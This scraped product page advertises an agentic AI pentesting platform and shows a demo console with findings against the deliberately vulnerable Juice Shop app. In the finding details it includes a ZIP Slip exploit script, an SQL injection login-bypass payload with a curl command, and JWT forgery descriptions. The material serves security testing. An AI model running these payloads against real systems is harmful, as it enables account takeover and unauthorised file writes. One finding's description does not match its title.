Skip to main content
Early-stage startups and non-profits now get FREE access to Keygraph's commercial pentesting platform.

Continuous
Agentic Pentesting

With Self-hosted and BYOK Deployments Available

Keygraph console · live demo
AppSec

Dashboard

Security posture overview

Export CSV
7d 30d 90d
All Severities
Critical
0
High
0
Medium
0
Low
0
SLA Breaches
0
Avg MTTR
0.0d
Risk Over Time
Critical High Medium Low
New vs Resolved
New Resolved
SLA Compliance
Compliant Breached

Findings

Canonical security findings across your organization

Export CSV
Filter
View
IDTitleRepositorySeverityCVSSEPSSSourceStatusR
KG-0E4E07
ZIP Slip Path Traversal: Arbitrary File Write to Server File...
test/juice-shopHigh––Blackbox PentestOpen–
KG-090F8A
Sensitive Data in JWT Payload: MD5 Password Hash Exp...
test/juice-shopHigh––Blackbox PentestOpen–
KG-114331
IDOR Write Access: Modify or Delete Any User’s Basket I...
test/juice-shopHigh––Blackbox PentestOpen–
KG-074374
XML External Entity (XXE) Injection: Arbitrary File Read vi...
test/juice-shopHigh––Blackbox PentestOpen–
KG-855CAA
Sensitive Data Exposure: Password Hashes and DeluxeTo...
test/juice-shopCritical––Blackbox PentestOpen–
KG-EC0DBE
Sensitive Information Disclosure: Admin Configuration E...
test/juice-shopMedium––Blackbox PentestOpen–
KG-94ADCF
ZIP Path Traversal: Arbitrary File Write to Publicly Served...
test/juice-shopHigh––Blackbox PentestOpen–
KG-E2C6A5
IDOR Write/Delete: Unauthorized Modification and Deleti...
test/juice-shopHigh––Blackbox PentestOpen–
KG-49777C
IDOR: Unauthorized Read Access to Any User’s Shoppin...
test/juice-shopHigh––Blackbox PentestOpen–
KG-417855
Broken Access Control: Admin User Data Exposed to Cus...
test/juice-shopHigh––Blackbox PentestOpen–
KG-9B50D6
Unauthenticated FTP Directory Exposure: Sensitive Files,...
test/juice-shopCritical––Blackbox PentestOpen–
KG-7823AD
Account Takeover via Publicly Exposed Security Question ...
test/juice-shopCritical––Blackbox PentestOpen–
KG-0F233C
Horizontal Authorization Bypass: Email Vowel-Obfuscati...
test/juice-shopMedium––Whitebox PentestOpen–
KG-9301D0
Horizontal Authorization Bypass: Email Vowel-Obfuscati...
test/juice-shopMedium––Whitebox PentestOpen–

← Finding Details

HIGH Open
Resolve False Positive Assign
ZIP Slip Path Traversal: Arbitrary File Write to Server Filesystem via /file-upload
Overview Remediation Verification Activity
Description

The CI pipeline fetches an installer script from a self-hosted Heroku CDN endpoint and immediately pipes it to sh for execution without any integrity verification.

Evidence
TARGET
POST /file-upload (accessed via /#/complain complaint form)
TYPE
UNSPECIFIED
Reproduction Steps 4 steps
1
Authenticate and obtain JWT: Log in as any customer account to get a Bearer token. TOKEN=$(python3 -c " import urllib.request, json data = json.dumps({'email': 'recon-fresh@blackbox-dast.local', 'password': 'Recon@Test2024!'})...")
2
Create a malicious ZIP with path traversal entry: Craft a ZIP archive whose entry filename contains '../..' to escape the upload directory. python3 -c " import zipfile, io buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr('../../ftp/zipslip_confirmed.md', '# ZIP Slip Confirmed\nThis file was written via ZIP Slip path traversal.\nPayload: ../../ftp/zipslip_confirmed.md\n...')
3
Upload the malicious ZIP to trigger the path traversal: Upload the crafted archive via the complaint file-upload endpoint. curl -s -w "HTTP: %{http_code}\n" \ -X POST 'https://shop.staging.example.com/file-upload' \ -H "Authorization: Bearer $TOKEN" \ -F "file=@/tmp/evil_zipslip.zip;type=application/zip" # Expected: HTTP 204
4
Verify the traversed file is accessible outside the upload directory: Confirm that the file was written to /ftp/ by accessing it directly. curl -s 'https://shop.staging.example.com/ftp/zipslip_confirmed.md' # Expected: HTTP 200 with attacker-controlled content
Proof of Concept Hide

BB-15: ZIP Slip Path Traversal: Arbitrary File Write to Server Filesystem via /file-upload (High)

OWASP: A01:2025 – Broken Access Control Endpoint: POST /file-upload (accessed via /#/complain complaint form) Auth State: Authenticated customer (recon-fresh@blackbox-dast.local)

The file upload endpoint processes ZIP archives without sanitizing entry paths for directory traversal sequences. An authenticated customer can create a ZIP file containing an entry with a filename such as ../../ftp/attacker.md, which the server extracts to a path outside the intended upload directory. Files written to /ftp/ are immediately publicly accessible via the web. Existing files, including application files, can be overwritten. The upload directory is exactly two levels below /ftp/, making traversal trivial. Escalation to Remote Code Execution is plausible if the traversal depth is sufficient to overwrite Node.js module files or application routes.

What does Remediate do?

Generates an AI-authored fix and opens it as a pull request on the target repo. You review the diff and merge it; this finding auto-resolves once the PR lands.

  • The patch lands on test/juice-shop, targeting the branch shown below. You can override that branch per repo.
  • Generation usually takes 1–3 minutes; you’ll see status update here without refreshing.
  • Closing the PR without merging won’t reopen the finding; only successful merges close it.
Auto-patch unavailable

Auto-patch isn’t available for GitLab repositories yet.

Remediate
Activity Log
System Opened finding · Apr 27, 2026 08:11 AM

AI Pentester

Autonomous penetration testing across your organization

10Passed 2Running 11Failed 0Queued 13Canceled
Filter
View
TargetStatusExploitsRepositoriesCreatedActions
https://staging.example.com
Black BoxStagingExploit
RunningTesting–juice-shop33 minutes ago⋯
https://staging.example.com
White BoxStagingExploit
Running0 exploitsjuice-shopabout 2 hours ago⋯
https://staging.example.com
Black BoxStagingExploit
Failed––about 1 hour ago⋯
https://shop.staging.example.com
Black BoxStagingExploit
CompletedView Reportjuice-shop6 days ago⋯
https://staging.example.com
Black BoxStagingExploit
CompletedView Report–6 days ago⋯
https://demo.example.com
White BoxStagingExploit
Canceled0 exploitsjuice-shop6 days ago⋯

AI Pentester

View detailed results from the autonomous penetration test

Pentest Complete
Found 15 potential vulnerabilities
CRITICAL
0
HIGH
0
MEDIUM
0
LOW
0
15 total findings 2h 49m duration
Vulnerabilities 15 Execution
Injection Vulnerabilities 4
CriticalConfirmedINJ-VULN-01
SQL Injection Authentication Bypass at POST /rest/user/login
POST/rest/user/login · 4 days ago
CriticalConfirmedINJ-VULN-02
SQL Injection UNION-Based Data Extraction at GET /rest/products/search
GET/rest/products/search · 4 days ago
HighConfirmedINJ-VULN-05
NoSQL Operator Injection Mass-Update at PATCH /rest/products/reviews
PATCH/rest/products/reviews · 4 days ago
Cross-Site Scripting (XSS) 6
Authentication Issues 19
CriticalConfirmedAUTH-VULN-07
JWT Algorithm None (alg:none) Authentication Bypass
ALLisAuthorized()-protected endpoints · 4 days ago
Server-Side Request Forgery (SSRF) 2
Authorization Issues 27
AppSec Enrichment
SAST results were used to enrich this pentest
Enriched Repositories
juice-shop
Repositories
local-dev-kg/juice-shop master
Configuration
Authentication Form Login
Login URLhttps://api.staging.example.com
Credentials Reveal
Usernamedemo@example.com Password••••••••
Login Flow
  1. Type $username into the email or username field
  2. Type $password into the password field
  3. Click the login or sign in button
Success Condition URL Contains /
Testing Rules
Focus 2 rules
Path/apiFocus on REST API endpoints
Path/restFocus on user-facing routes
Avoid 1 rule
Path/#/score-boardSkip the score board meta-challenge page
Custom HTTP Headers 1 header
x-agent shannon-pentestes
Total Duration
2h 49m 0s
Agents Run
52
Agent Breakdown
Reconnaissance
16m 1s
reporter
7m 58s
strategy
58s
Injection Analysis
12m 2s
XSS Analysis
16m 6s
Auth Analysis
13m 57s
SSRF Analysis
5m 28s
AuthZ Analysis
8m 56s
Reporting
28m 51s
Total
2h 49m 0s
Security Assessment Report
Target: https://api.staging.example.com
Generated 4 days ago · Pentest run api.staging.example.com
Executive Summary

This security assessment of api.staging.example.com was conducted on April 23, 2026, targeting the application's REST API surface (/rest/*) with a focus on authentication, authorization, and data handling. The assessment uncovered 66 confirmed vulnerabilities (20 critical, 25 high, 20 medium, and 1 low) reflecting systemic compromised auth posture, unauthenticated attacker control over user identifiers via SQLi, broken JWT signature verification, and high-impact authorization bypasses across multiple commerce flows. Exploits worked end-to-end in a controlled environment (autonomous orchestrator + LLM-powered analysis) and a complete remediation roadmap is included alongside reproducible PoCs.

Vulnerability Summary
IDVulnerabilityEndpointSeverity
INJ-VULN-01SQL Injection Authentication BypassPOST /rest/user/loginCRITICAL
INJ-VULN-02SQL Injection UNION-Based Data ExtractionGET /rest/products/searchCRITICAL
AUTH-VULN-07JWT Algorithm None (alg:none) Authentication BypassALL isAuthorized()-protected endpointsCRITICAL
AUTH-VULN-10Default Admin CredentialsPOST /rest/user/loginCRITICAL
AUTH-VULN-14Mass Assignment Privilege Escalation (Admin Role Registration)POST /api/UsersCRITICAL
AUTH-VULN-18SQL Injection Authentication BypassPOST /rest/user/loginCRITICAL
XSS-VULN-04Reflected XSS via Track-Order ParameterGET /#/track-resultHIGH
XSS-VULN-06JSONP Callback Injection · Cross-Domain Data TheftGET /rest/user/whoamiHIGH
Reproduction (sample)
{
  "id": "INJ-VULN-01",
  "endpoint": "POST /rest/user/login",
  "payload": "' OR '1'='1'--",
  "response_code": 200,
  "response_signature": "demo@example.com (id=1, role=admin)",
  "reproduced": true
}

← Exploit Details

Detailed vulnerability analysis and reproduction information

Critical Confirmed INJ-VULN-01
SQL Injection Authentication Bypass at POST /rest/user/login
Discovered 4 days ago
Affected Target
TypeINJECTION LocationPOST /rest/user/login
Reproduction Steps 4 steps
1

Send POST /rest/user/login with tautology payload in email field

2

The injected SQL becomes: SELECT * FROM Users WHERE email = '' OR '1'='1'--' AND password = '...'

3

The -- comments out the password check; SQLite returns the first row (admin, id=1)

4

Observe HTTP 200 response containing admin JWT token

Proof of Impact

HTTP 200 returned with admin JWT token (email: demo@example.com, role: admin, id: 1). MD5 hash 0192023a7bbd73250516f069df18b500 = admin123 confirmed via rainbow table.

Proof of Concept
1## Payload2' OR '1'='1'--34## Reproduction5curl -s -X POST "https://api.staging.example.com/rest/user/login" \6 -H "Content-Type: application/json" \7 -d '{"email":"'\'' OR '\''1'\''='\''1'\''--","password":"x"}'89## Proof10HTTP 200 returned with admin JWT (uemail: demo@example.com).

AI Pentester

View detailed results from the autonomous penetration test

https://staging.example.com
STAGING Exploit WHITE BOX 2h 6m about 2 hours ago juice-shop
Running pentest…
Cancel
Pentest Progress 1h 43m 26s
Code Analysis
Discovery
Security Testing
Report
Finalizing
Vulnerability Pipelines
Code Injection
Vulnerability
Exploit
Analyzing vulnerabilities…
Cross-Site Scripting
Vulnerability
Exploit
Complete
Authentication
Vulnerability
Exploit
Analyzing vulnerabilities…
Server-Side Request Forgery
Vulnerability
Exploit
Complete
Authorization
Vulnerability
Exploit
Analyzing vulnerabilities…
Completed 6 85m 17s

Logs

Every action recorded with actor, timestamp, and source

Select date range
Event Types
Subjects
TimeEvent TypeSubjectActor
Apr 27, 2026 08:02:38appsec:SubmitBoundarySelectionjuice-shopdemo@example.com
Apr 27, 2026 07:50:57appsec:TriggerBoundaryAnalysisjuice-shopdemo@example.com
Apr 27, 2026 07:50:29appsec:TriggerManualScanjuice-shopdemo@example.com
Apr 27, 2026 07:21:01appsec:TriggerManualScanvuln-bankdemo@example.com
Apr 27, 2026 06:39:51appsec:TriggerManualScanjuice-shopdemo@example.com
Apr 27, 2026 05:54:14appsec:TriggerManualScandvwademo@example.com
Apr 27, 2026 05:53:42appsec:TriggerManualScanjuice-shopdemo@example.com
0 of 10 row(s) selected.
Rows per page 10 Page 1 of 19
All Messages Tasks Notifications
All Pending Completed Unread Read
No messages yet
You don’t have any messages in your inbox. When you receive messages, they’ll appear here.

Users

Manage users and invitations for your organization

Invite User
Users Invitations
Filter
View
NameEmailStatusRoleAccount TypeLink StatusActions
Alex Riverademo@example.comActiveMember UserPrimary⋯
Rows per page 20
1-1 of 1
← Alex Rivera
demo@example.com
Active
User Details Groups
Personal Information
Full Name
Alex Rivera
Display Name
Alex Rivera
Primary Email
demo@example.com
Secondary Email
,
Employment Information
Title
,
Department
,
Role Category
,
Preferences
Preferred Language
–
No groups yet
Create groups to organize users, scope permissions, and route findings to the right teams.
Connected 5 Available Integrations
Anthropic AI & Security
LLM provider integration for AI-powered security testing with Shannon
Connected
BetterStack Monitoring
Uptime monitoring, incident management, and on-call tracking
Connect
GitHub Source Control
GitHub App integration for source code security scanning
Connected
GitLab Source Control
GitLab Group Access Token integration for source code security scanning
Connected
Jira Cloud Ticketing
Sync findings into Jira projects with bi-directional status updates
Connected
Filter
View
RepositoryDefault BranchGroupLast Scanned
local-dev-kg/juice-shopmasterUnassignedabout 8 hours ago⋯
test/juice-shop-appsecmasterUnassignedabout 8 hours ago⋯
local-dev-kg/AWSGoatmasterUnassignedabout 1 month ago⋯
local-dev-kg/WebGoatmainUnassigned3 days ago⋯
local-dev-kg/DVWAmasterUnassigned9 days ago⋯
local-dev-kg/dvws-nodemasterUnassignedNever scanned⋯
local-dev-kg/NodeGoatmasterUnassigned11 days ago⋯
local-dev-kg/railsgoatmasterUnassigned14 days ago⋯
local-dev-kg/pygoatmainUnassigned13 days ago⋯
local-dev-kg/crAPIdevelopUnassignedabout 1 month ago⋯
local-dev-kg/VAmPImasterUnassignedNever scanned⋯
local-dev-kg/wrongsecretsmasterUnassigned25 days ago⋯
local-dev-kg/dvgamasterUnassignedNever scanned⋯
local-dev-kg/bWAPPmasterUnassignedNever scanned⋯
local-dev-kg/mutillidaemasterUnassignedNever scanned⋯
Rows per page 15
1-15 of 15

All Scans

Scans across all scan types

162 scans 15 failed
SAST 51 SCA 48 Black Box 14 White Box 20
Filter
All 162 Active 0 Failed 15 Completed 147
View
TypeTargetStatusFindingsTriggered
SAST
local-dev-kg/juice-shopmaster · 19a3054c
Complete
4 Critical28 High
12 days agoManualComprehensive
SCA
local-dev-kg/juice-shopmaster · 19a3054c
Complete
18 Critical28 High
12 days agoManualComprehensive
SAST
local-dev-kg/bc-kotlinmain · 27f05751
Complete4 High
12 days agoManualComprehensive
SCA
local-dev-kg/cxfmain · 5a501cd8
Complete
6 Critical16 High
12 days agoManualFast

SAST Scans

Static Application Security Testing scan runs

44Passed 0Running 3Failed 0Queued 4Canceled
Filter
View
Repository & ContextStatusFindingsTriggeredLanguage
local-dev-kg/bc-kotlinmain · 27f05751
Complete4 High
12 days agoManualComprehensive
Kotlin
local-dev-kg/bc-csharpmaster · 5200dfdf
Complete
27 High10 Medium
12 days agoManualComprehensive
C#
local-dev-kg/juice-shopmaster · 19a3054c
Complete
4 Critical28 High
12 days agoManualComprehensive
JS
local-dev-kg/pipline-test-repomain · 8524e5fb
Complete
9 Critical10 High
18 days agoManualComprehensive
JS
local-dev-kg/driftmain · f329b1ab
Complete
1 Critical4 High
18 days agoManualComprehensive
Ruby
local-dev-kg/pipline-test-repomain · 8524e5fb
Complete
10 Critical9 High
18 days agoManualComprehensive
JS
local-dev-kg/driftmain · f329b1ab
Complete
1 Critical2 High
18 days agoManualComprehensive
Ruby
local-dev-kg/driftmain · f329b1ab
Complete
1 Critical2 High
18 days agoManualComprehensive
Ruby

SCA Scans

Software Composition Analysis scan runs

42Passed 0Running 1Failed 0Queued 5Canceled
Filter
View
Repository & ContextStatusFindingsTriggered
local-dev-kg/bc-kotlinmain · 27f05751
Complete1 Medium
12 days agoManualComprehensive
local-dev-kg/bc-csharpmaster · 5200dfdf
Complete3 Medium
12 days agoManualComprehensive
local-dev-kg/cxfmain · 5a501cd8
Complete
6 Critical16 High
12 days agoManualFast
test/vectormaster · 47b5b02b
Complete
5 Critical11 High
12 days agoManualComprehensive
test/grafanamain · a4dbaa56
Complete
1 Critical8 High
12 days agoManualFast
test/vuln-bankmain · 9b22a832
Complete
6 High14 Medium
12 days agoManualComprehensive
local-dev-kg/juice-shopmaster · 19a3054c
Complete
18 Critical28 High
12 days agoManualComprehensive
local-dev-kg/driftmain · f329b1ab
Complete
2 Critical7 High
18 days agoManualComprehensive

←

Findings

← SAST Scan (JavaScript)

local-dev-kg/juice-shop
Completed
master 85e8be7b JavaScript 75K about 10 hours ago Manual Fast
Commit message: Update global-cs.yml file
Total
79
Critical
41
High
22
Medium
16
Low
0
Info
0
Data Flow 42 Point Issues 28 Business Logic 9
Filter
View
FindingData FlowBoundariesTeamsSeverity
CWE-643: XPath Operator Injection via JSON-parsed URL parameter in Sequelize WHERE clause
recycles.ts:34 (col 21)juice-shopengineeringHIGH
CWE-89: SQL Injection via unverified email field in login query
login.ts:34 → login.ts:55juice-shopengineeringHIGH
CWE-209: XSS via unverified URL controlled URL in profile-image fetch
profileImageUrlUpload.ts:13 → profileImageUrlUpload.ts:16juice-shopengineeringHIGH
CWE-943: NoSQL Injection via unverified request body ID in MongoDB query
b2bOrder.ts:30 → b2bOrder.ts:35juice-shopengineeringHIGH
CWE-943: NoSQL Injection via unverified request body ID in MongoDB query
b2bOrder.ts:30 → b2bOrder.ts:39juice-shopengineeringHIGH
CWE-943: NoSQL Injection via unverified request body in MongoDB query filter
b2bOrder.ts:30 → b2bOrder.ts:42juice-shopengineeringHIGH
CWE-22: Path Traversal via unverified request body file in fileRead
verifyFiles.ts:9 → verifyFiles.ts:24juice-shopengineeringHIGH
CWE-502: Unsafe deserialization via user-controlled file path in fs.read
payment.component.ts:11 → payment.component.ts:18juice-shopengineeringHIGH
CWE-89: SQL Injection via unverified search parameter in raw Sequelize query
search.ts:13 → search.ts:18juice-shopengineeringHIGH
Rows per page 15
1-9 of 15
FindingLocationBoundariesTeamsSeverity
CWE-347: JWT Token Decoded Without Signature Verification
app.guard.ts:18juice-shopengineeringCRITICAL
CWE-310: SQL Injection in Authentication Query Leading to Cleartext Password Transmission
login/loginUserChallenge_4.ts:15juice-shopengineeringCRITICAL
CWE-548: Directory Listing Exposure - (well-known Directory)
directoryListing/dirIndex_4.ts:0juice-shopengineeringHIGH
CWE-1004: Insufficient Random Password Generation Using Base64 Encoding of Reversed Email
auth/component_2.ts:18juice-shopengineeringHIGH
CWE-328: Use of Weak Hash Function (Base64) for Password Generation
auth/component_3.ts:18juice-shopengineeringHIGH
CWE-614: Authentication Token Cookie Missing Secure Flag
payment.component.ts:11juice-shopengineeringHIGH
CWE-614: Authentication Token Cookie Missing Secure Flag
two-factor-auth-enter.component.ts:14juice-shopengineeringHIGH
CWE-327: Weak HMAC Secret Key - Hardcoded For 2FA Authentication
2fa/totp_5.ts:5juice-shopengineeringHIGH
CWE-326: Hardcoded RSA Private Key in Source Code
cryptUtils.ts:14juice-shopengineeringHIGH
CWE-693: Predictable RSA Private Key for Security Sensitive Data
cryptUtils.ts:18juice-shopengineeringHIGH
CWE-565: Missing CSRF Protection on State-Changing Endpoint Verdict Acknowledgment
checkVerdict.ts:25juice-shopengineeringHIGH
CWE-213: excessive-data-exposure in routes/authenticatedUsers.ts:25
authenticatedUsers.ts:25:0juice-shopengineeringHIGH
CWE-20: missing-input-validation in routes/b2bOrder.ts:19
b2bOrder.ts:19:0juice-shopengineeringHIGH
CWE-770: missing-rate-limit in routes/search.ts:23
search.ts:23:0juice-shopengineeringHIGH
CWE-770: missing-rate-limit in routes/b2bOrder.ts:17
b2bOrder.ts:17:0juice-shopengineeringHIGH
CWE-770: missing-rate-limit in routes/chatbot.ts:205
chatbot.ts:205:0juice-shopengineeringHIGH
CWE-770: missing-rate-limit in routes/dataExports.ts:16
dataExports.ts:16:0juice-shopengineeringHIGH
CWE-770: missing-rate-limit in routes/search.ts:23
search.ts:23:0juice-shopengineeringHIGH
CWE-639: bola in routes/basket.ts:0
basket.ts:0juice-shopengineeringHIGH
CWE-915: mass-assignment in server.ts:0
server.ts:0juice-shopengineeringHIGH
CWE-269: privesc in server.ts:0
server.ts:0juice-shopengineeringHIGH
Rows per page 15
1-10 of 28
FindingData FlowBoundariesTeamsSeverity
CWE-287: Authentication Bypass in changeProduct
server.ts:0 → server.ts:0juice-shopengineeringCRITICAL
CWE-287: Authentication Bypass in changePassword
changePassword.ts:0 → changePassword.ts:0juice-shopengineeringHIGH
CWE-287: Authentication Bypass in updateProductReview
updateProductReviews.ts:0 → updateProductReviews.ts:0juice-shopengineeringHIGH
CWE-285: Authorization Bypass in orderHistory
orderHistory.ts:0 → orderHistory.ts:0juice-shopengineeringHIGH
CWE-287: Authentication Bypass in collectorWebReader
recyclewebreader.ts:0 → recyclewebreader.ts:0juice-shopengineeringHIGH
CWE-287: Authentication Bypass in serviceFlow
services.ts:0 → services.ts:0juice-shopengineeringHIGH
CWE-287: Authentication Bypass in deliveryService
deliveryMethod.ts:0 → deliveryMethod.ts:0juice-shopengineeringHIGH
CWE-639: Insecure Direct Object Reference in trackOrder
trackOrder.ts:0 → trackOrder.ts:0juice-shopengineeringHIGH
CWE-639: Insecure Direct Object Reference in couponCheck
couponcheck.ts:0 → couponcheck.ts:0juice-shopengineeringHIGH
CWE-287: Authentication Bypass in forgotFeedback challenge
feedbackChallenge.ts:0 → feedbackChallenge.ts:0juice-shopengineeringHIGH
CWE-287: Authentication Bypass in N/A (finds auto-generated)
N/A:0 → N/A:0juice-shopengineeringHIGH
Rows per page 15
1-6 of 9

← SCA Scan

local-dev-kg/juice-shop
Completed
master 05e0be7b 16m 1 day ago Manual Fast
Commit message: Update .gitlab-ci.yml file
Total
174
Critical
13
High
73
Medium
81
Low
7
Info
0
Filter
PackageReachabilityDependencyRecommendationBoundariesTeams
marsdb@0.6.11
npm
Reachable (1 of 2)Direct, juice-shopengineering
jsonwebtoken@0.4.0
npm
Reachable (2 of 4)Directcd appsec/scans/appsec-ba…juice-shopengineering
vm2@3.9.17
npm
Reachable (1 of 5)Transitivecd appsec/scans/appsec-ba…, ,
express-jwt@0.1.3
npm
ReachableDirectcd appsec/scans/appsec-ba…juice-shopengineering
sanitize-html@1.4.2
npm
Reachable (2 of 7)Directcd appsec/scans/appsec-ba…juice-shopengineering
jsonwebtoken@0.4.0
CRITICAL SCA 4 CVEs
Recommendation
How to fix this vulnerability

Update jsonwebtoken from version 0.4.0 to version 4.2.2 or later.

Upgrade Command
cd appsec/scans/appsec-baseline-scans/8eed4fb4-4809-40b8-9769-f662decd9741/repo && npm install jsonwebtoken@4.2.2
CVEs in jsonwebtoken@0.4.0 (4)
CVE-2015-9235Criticaljuice-shopengineering
✨ AI ANALYSIS

jsonwebtoken@0.4.0 does not validate the JWT algorithm during jwt.verify(), enabling both the alg:none bypass and an RS256→HS256 algorithm confusion attack. The codebase calls jwt.verify(token, publicKey, callback) without an algorithms allowlist in three production files.

CVE-2022-23541High Riskjuice-shopengineering
✨ AI ANALYSIS

jsonwebtoken@0.4.0 is called via jwt.verify() in three production routes without restricting the allowed algorithm. An attacker can craft a forged JWT signed with HS256 using the RSA public key as the HMAC secret, which the library will accept as valid, completely bypassing authentication.

CVE-2022-23539Low Risk
✨ AI ANALYSIS
jsonwebtoken unrestricted key type could lead to legacy keys usage

Versions ≤8.5.1 of jsonwebtoken library could be misconfigured so that legacy, insecure key types are used for signature verification.

Not exploitable: LLM analysis determined this vulnerability is not exploitable in context
CVE-2022-23540Low Risk
✨ AI ANALYSIS
Signature validation bypass due to insecure default algorithm in jwt.verify()

In versions ≤8.5.1 of jsonwebtoken library, lack of algorithm definition and a falsy secret or key in the jwt.verify() call could lead to signature validation bypass.

Not exploitable: LLM analysis determined this vulnerability is not exploitable in context

← SECRETS Scan

local-dev-kg/juice-shop
Completed
master 19a3054c 67m 1 day ago Manual Comprehensive
Commit message: Add GSoC 2025 project
Total
4
Critical
0
High
4
Medium
0
Low
0
Info
0
General Remediation Advice for Exposed Secrets
Filter
View
DescriptionLocationCWESeverity
Hardcoded OAuth 2.0 Access Token Exposure in URL Parameter
frontend/src/app/Services/user.service.ts:60CWE-798HIGH
Hardcoded Ethereum Mnemonic Phrase in Source Code
routes/checkKeys.ts:7CWE-798HIGH
Hardcoded Alchemy API Key in WebSocket Provider
routes/nftMint.ts:9CWE-798HIGH
Hardcoded Alchemy API Key in Production Code
routes/web3Wallet.ts:9CWE-798HIGH
Rows per page 15
1-4 of 4

SLA Policies

Define how many days your team has to remediate vulnerabilities after detection. SLA deadlines appear on each finding and drive the compliance chart on your dashboard.

Deadlines are calculated from when a vulnerability is first detected. Saving a policy immediately recomputes due dates on all open findings for that severity. Clearing a value removes the deadline for that severity.
Critical
RCE, auth bypass, active exploitation
days
Industry benchmark: 15 days
High
Injection, privilege escalation, data exposure
days
Industry benchmark: 30 days
Medium
XSS, CSRF, misconfigurations
days
Industry benchmark: 90 days
Low
Info disclosure, best-practice gaps
days
Industry benchmark: 180 days
Save Changes

Surface Area

Repositories and pentest profiles your org is monitoring

New Profile
Repositories 48 Profiles 4
Filter
View
ProfileEnvTarget URLReposScansLast Scanned
tmp 2 juice shop Staging https://staging.example.com 1 6 1 day ago Scan ⋯
tmp juice shop Staging https://shop.staging.example.com 1 4 6 days ago Scan ⋯
Juice Shop Staging https://demo.example.com 1 8 6 days ago Scan ⋯
Test Staging https://demo.example.com 1 3 11 days ago Scan ⋯

Surface Area

Repositories and pentest profiles your org is monitoring

Repositories 48 Profiles 4
Filter
View
RepositoryDefault BranchGroupBoundariesLast Scanned
local-dev-kg/AWSGoatmasterUnassignedNone12 days ago Scan⋯
local-dev-kg/bc-csharpmasterUnassignedNone12 days ago Scan⋯
local-dev-kg/bc-javamainUnassignedNoneabout 2 months ago Scan⋯
local-dev-kg/bc-kotlinmainUnassignedNone12 days ago Scan⋯
local-dev-kg/boundaries-exmainUnassigned7 boundariesabout 1 month ago Scan⋯
local-dev-kg/cxfmainUnassignedNone12 days ago Scan⋯
test/documensomainUnassignedNoneNever scanned Scan⋯
local-dev-kg/driftmainUnassignedNone18 days ago Scan⋯
local-dev-kg/dvws-nodemasterUnassignedNoneNever scanned Scan⋯
test/elasticsearchmainUnassignedNoneNever scanned Scan⋯
local-dev-kg/elasticsearch-testmainUnassignedNoneNever scanned Scan⋯

local-dev-kg/AWSGoat

public · PHP · master

Scan
Public master View on SCM
Target Branch
master (default)
Change Branch
CI Policy
Not configured
Configure
Boundary Analysis
No boundaries analyzed yet. AI can analyze your repo structure and identify scannable boundaries.
Analyze Boundaries
Scan Health
SASTCompleted
969m · about 2 months ago
View scans →
SCA
No scans yet
Auto
Run Security Scan
Select a repository and branch to run SAST, secrets detection, and SCA analysis.
Repository
Select a repository
Branch
Select a branch
Scan Scope
Scan Mode
Scan Types
Language
Select language
AI Provider
Anthropic · Connected and ready for AI-powered scans
Advanced Options
Start Scan

Your team ships code daily, but your pentest only happens once a year. The Keygraph platform closes the 364-day gap: automated penetration testing on every build, and no finding reported without a working exploit.

AppSec and pentesting, on one platform

The scanner, the AI pentester and the yearly engagement, brought into one place and run at whatever depth you choose.

SCA · SECRETSSAST · WHITEBOXPENTESTONE REPORT

One run, every layer

The running app, its source, its dependencies and its secrets, tested together in one run, not scattered across separate tools.

Proven, then reported

Every finding carries a working exploit, in one report built to be accepted by auditors.

Scattered tools, one platform

The usual stack is a scanner in the pipeline, an AI pentester beside it and an engagement once a year, each with its own console and its own report. Keygraph brings all three into one place.

Fast enough for the pipeline

Agentic pentesting now runs at the speed and cost of the pipeline, so the pentest no longer waits for the annual engagement.

The same run, at any depth

The AppSec suite and the pentest are one run, on every pull request or for the full engagement, and every depth ends in the same proven report.

Full in depth pentesting, augmented by a full AppSec Suite

(No Exploit, No Report.)

Whitebox pentesting

The engine is an enhanced build of Shannon, our open-source AI pentester: agents read your source, plan attacks against it, and resolve each hypothesis by attempting a working exploit. Pre-Recon reads the repository, Recon confirms it against the live app, then five domain specialists analyze and exploit in parallel, with a sixth exploit agent for findings outside those classes.

In-scope findings from the static scans are mapped CWE to OWASP, queued as exploitation targets, and linked back to the original finding once proven.

Whitebox Pentester →

Blackbox pentesting

Point the Keygraph platform at a URL and let it attack, with no source code access, ever. WhatWeb fingerprints the stack, Playwright-driven automation enumerates endpoints, and mitmproxy captures the traffic, from which an OpenAPI specification can be generated.

A strategy agent then selects a hypothesis and dispatches exploit agents to test it in a real browser. Testing stops when confidence plateaus, not when a counter runs out.

Blackbox Pentester →

Agentic SAST

Your codebase compiles into a Code Property Graph: AST, control flow and data flow in one structure. The analyzer traces backward from every sink, and at each node an LLM evaluates whether the specific sanitization actually addresses the specific risk in that context.

An agent then checks each candidate path for control-flow and logic feasibility, so what advances is a traced source-to-sink path rather than a line number.

Agentic SAST →

Secrets protection

Pattern matching sweeps the working tree and commit history: configs, environment files, scripts, CI/CD pipelines, application source. Every candidate is then re-read by an LLM against the surrounding code, separating live credentials from placeholders, fixtures and documentation examples.

Entropy analysis catches base64 and hex payloads matching no known signature, and each confirmed secret is classified by blast radius.

Secrets Scanning →

Supply chain security

Legacy SCA matches lockfile versions against advisories and reports what is present. Here a research agent extracts the exact vulnerable function from each advisory, the Code Property Graph is queried for a real call site, and a forward walk from application entry points confirms the code can execute.

Severity is rewritten from that evidence: not reachable drops to Low, and reachable CVEs become exploit targets for the pentest.

SCA with reachability →

Fix and re-test

Confirmed findings arrive with reproduction steps and a proposed fix as a labeled pull request. You review, you merge. Nothing is auto-applied to your code.

After the patch the same exploit runs again. A finding closes when the attack that proved it stops working, and the record of both runs stays with the finding.

Code Remediation →

Structured results

  • Traced source to sink path
  • Working proof of concept
  • Reproduction steps
  • Proposed fix as a pull request
  • Re-test verdict on the same exploit

A finding ships only when an exploit proved it.

Run one module, or the full run

Every module is a product you can run on its own. Use one at a time where speed and cost matter most, and the full run where depth does.

PR #1482Secrets · light modelRunningPR #1481SAST · light model1 provenPR #1480Blackbox · stagingPassedPR #1479SCA · light modelPassedPR #1478Whitebox · light modelPassed

One module on every pull request

Blackbox, whitebox, SAST, SCA and secrets each run as a scan type of their own. Point a lighter, cheaper model at one of them and it is fast enough for every pull request, which is where most of the value is at scale.

Launching agents against staging.your-app.com…5 agents launchedrecon-agentmapping routes • 214 foundsast-agenttracing sinks • 61 candidatessca-agentreachability • 12 reachablesecrets-agenthistory scan • 3 liveexploit-agentsone reconciled queue • 9 provenReport assembling…

The full run, for a complete pentest

